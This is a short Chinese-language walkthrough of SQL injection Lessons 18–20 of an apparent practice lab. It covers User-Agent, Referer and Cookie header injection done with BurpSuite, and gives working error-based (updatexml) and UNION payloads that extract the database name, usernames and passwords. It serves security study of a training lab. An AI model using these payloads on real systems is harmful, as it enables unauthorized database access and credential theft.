和上一篇文章一样,这里依然使用了BurpSuite工具修改HTTP报文
Lesson 18User Agent注入
若输入的用户名和密码正确,则弹出User Agent的提示。后端对username和password都加了严格的过滤,但是发现有对数据库的插入操作和HTTP头部中的User Agent字段有关。又因为回显的信息不会经过数据库,所以只能考虑通过数据库报错带出数据库信息。
exp:
User-Agent: ’ or updatexml(1,concat(0x7e, database(),0x7e),1) or ’
获取数据库名称,这里没有使用注释符,因为根据后端的写法,使用注释符的前提是弄清楚插入了多少个列,否则会导致SQL语法检测不通过无法执行我们的注入代码。既然不能使用注释符,就用这种闭合单引号的方式
User-Agent: ’ or updatexml(1,concat(0x7e, (select username from users limit 0,1),0x7e),1) or’
直接查字段
Lesson 19Referer注入
参考上一题,改成了Referer头。
exp:
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1) or ’
Lesson 20Cookie注入
后端把Cookie直接获取放到SQL语句中,没有加有效的过滤,所以构造Cookie。
exp:
Cookie: uname=’ union select 1,database(),user() %23
Cookie: uname=’ union select 1,username,password from users limit 0,1 %23